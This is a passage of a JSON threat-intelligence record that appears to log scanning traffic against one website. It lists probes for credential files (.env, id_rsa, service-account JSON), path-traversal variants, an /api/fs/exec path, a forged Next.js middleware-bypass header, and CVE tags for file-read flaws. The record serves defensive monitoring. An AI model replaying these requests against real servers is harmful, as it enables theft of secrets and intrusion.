70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a203130342e3135342e34382e3135360d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"67560f98d68783bd640246df3052c151","session":"7252a2af-1c44-4ff0-80e8-1acc915532e6","seq":8,"duration_ms":2898,"bytes_in":5034,"bytes_out":632}],"http_methods":[{"method":"GET","count":41},{"method":"POST","count":4}],"distinct_ports_total":1,"top_paths":[{"path":"/.env","count":1,"ports":1},{"path":"/service_account.json","count":1,"ports":1},{"path":"/id_rsa","count":1,"ports":1},{"path":"/%2eenv","count":1,"ports":1},{"path":"/api/fs/exec","count":1,"ports":1},{"path":"/static../.env","count":1,"ports":1},{"path":"/temp/.env","count":1,"ports":1},{"path":"/src/.env","count":1,"ports":1},{"path":"/gc-service.json","count":1,"ports":1},{"path":"/utils/.env","count":1,"ports":1},{"path":"/api/v1/.env","count":1,"ports":1},{"path":"/.env.mail","count":1,"ports":1},{"path":"//.env","count":1,"ports":1},{"path":"/dist../.env","count":1,"ports":1},{"path":"/@fs/.env?raw??","count":1,"ports":1}],"distinct_paths_total":45,"top_snis":[{"value":"site.princhub.com","count":45}],"top_hosts":[{"value":"site.princhub.com","count":45}],"top_alpns":[{"value":"h2, http/1.1","count":45}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Host","User-Agent","X-Forwarded-For","X-Forwarded-Proto","X-Middleware-Subrequest","X-Nextjs-Data"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"104.154.48.156","notable":false},{"name":"Cf-Ipcountry","value":"US","notable":false},{"name":"Cf-Ray","value":"a4a366fcec7fabb8-YYZ","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","notable":false},{"name":"X-Forwarded-For","value":"104.154.48.156","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]}],"data_as_of":"2026-10-15T08:34:50.949122+00:00"}